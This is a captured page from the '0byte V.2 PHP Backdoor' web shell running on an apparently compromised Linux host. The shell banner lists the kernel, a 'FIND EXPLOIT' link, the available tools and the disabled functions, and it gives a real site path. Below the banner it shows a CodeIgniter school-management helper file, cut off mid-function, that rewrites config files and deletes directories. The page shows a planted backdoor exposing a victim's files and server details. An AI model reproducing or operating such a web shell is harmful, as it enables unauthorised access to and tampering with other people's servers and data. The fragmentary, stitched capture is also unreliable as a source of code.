0byte V.2
PHP Backdoor

Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/backup-project/application/helpers/

router->fetch_method(); $class = $CI->router->fetch_class(); return ($method == $action && $controller == $class) ? 'active' : ''; } function set_Topmenu($top_menu_name) { $CI = get_instance(); $session_top_menu = $CI->session->userdata('top_menu'); if ($session_top_menu == $top_menu_name) { return 'active'; } return ""; } function set_Submenu($sub_menu_name) { $CI = get_instance(); $session_sub_menu = $CI->session->userdata('sub_menu'); if ($session_sub_menu == $sub_menu_name) { return 'active'; } return ""; } function set_SubSubmenu($sub_menu_name) { $CI = get_instance(); $session_sub_menu = $CI->session->userdata('subsub_menu'); if ($session_sub_menu == $sub_menu_name) { return 'active'; } return ""; } } function access_denied() { redirect('admin/unauthorized'); } function update_config_installed() { $CI = & get_instance(); $config_path = APPPATH . 'config/config.php'; $CI->load->helper('file'); @chmod($config_path, FILE_WRITE_MODE); $config_file = read_file($config_path); $config_file = trim($config_file); $config_file = str_replace("\$config['installed'] = false;", "\$config['installed'] = true;", $config_file); $config_file = str_replace("\$config['base_url'] = '';", "\$config['base_url'] = '" . site_url() . "';", $config_file); if (!$fp = fopen($config_path, FOPEN_WRITE_CREATE_DESTRUCTIVE)) { return FALSE; } flock($fp, LOCK_EX); fwrite($fp, $config_file, strlen($config_file)); flock($fp, LOCK_UN); fclose($fp); @chmod($config_path, FILE_READ_MODE); return TRUE; } function update_autoload_installed() { $CI = & get_instance(); $autoload_path = APPPATH . 'config/autoload.php'; $CI->load->helper('file'); @chmod($autoload_path, FILE_WRITE_MODE); $autoload_file = read_file($autoload_path); $autoload_file = trim($autoload_file); $autoload_file = str_replace("\$autoload['model'] = array()", "\$autoload['model'] = array('session_model', 'class_model', 'staff_model', 'section_model', 'setting_model', 'classsection_model', 'category_model', 'student_model', 'feemaster_model', 'feecategory_model', 'feetype_model', 'studentfee_model', 'stuattendence_model', 'attendencetype_model', 'studentsession_model', 'language_model', 'admin_model', 'smsconfig_model', 'langpharses_model', 'subject_model', 'teacher_model', 'teachersubject_model', 'exam_model', 'mark_model', 'examschedule_model', 'examresult_model', 'expense_model', 'expensehead_model', 'studenttransportfee_model', 'book_model', 'grade_model', 'timetable_model', 'hostel_model', 'route_model', 'content_model', 'user_model', 'notification_model', 'paymentsetting_model','payroll_model', 'roomtype_model','department_model','designation_model', 'hostelroom_model', 'vehicle_model', 'vehroute_model', 'librarian_model', 'accountant_model','homework_model', 'librarymanagement_model', 'librarymember_model', 'bookissue_model', 'feegroup_model', 'feegrouptype_model', 'feesessiongroup_model', 'studentfeemaster_model', 'feediscount_model','emailconfig_model','income_model','incomehead_model','itemcategory_model','schoolhouse_model','item_model','messages_model','itemstore_model','itemsupplier_model','notificationsetting_model','itemstock_model','itemissue_model','userlog_model','cms_program_model','cms_menu_model','cms_media_model','cms_page_model','cms_menuitems_model','cms_page_content_model','role_model','calendar_model','userpermission_model','staffroles_model','staffattendancemodel','rolepermission_model','Certificate_model','classteacher_model','Generatecertificate_model','Student_id_card_model','timeline_model','Generateidcard_model','Module_model','subjectgroup_model','studentsubjectgroup_model','subjecttimetable_model','studentsubjectattendence_model','audit_model','Chat_model','apply_leave_model','disable_reason_model','question_model','leavetypes_model','alumni_model','lessonplan_model','syllabus_model')", $autoload_file); $autoload_file = str_replace("\$autoload['libraries'] = array('database', 'session', 'form_validation')", "\$autoload['libraries'] = array('database', 'email','session', 'form_validation', 'upload', 'pagination', 'Customlib', 'Role', 'Smsgateway', 'QDMailer','Adler32','Aes')", $autoload_file); if (!$fp = fopen($autoload_path, FOPEN_WRITE_CREATE_DESTRUCTIVE)) { return FALSE; } flock($fp, LOCK_EX); fwrite($fp, $autoload_file, strlen($autoload_file)); flock($fp, LOCK_UN); fclose($fp); @chmod($config_path, FILE_READ_MODE); return TRUE; } function delete_dir($dirPath) { if (!is_dir($dirPath)) { throw new InvalidArgumentException("$dirPath must be a directory"); } if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') { $dirPath .= '/'; } $files = glob($dirPath . '*', GLOB_MARK); foreach ($files as $file) { if (is_dir($file)) { delete_dir($file); } else { unlink($file); } } if (rmdir($dirPath)) { return true; } return false; } function admin_url($url = '') { if ($url == '') { return site_url() . 'site/login'; } else { return site_url() . 'site/login'; } } ?>

0byte V.2PHP Backdoor

0byte V.2
PHP Backdoor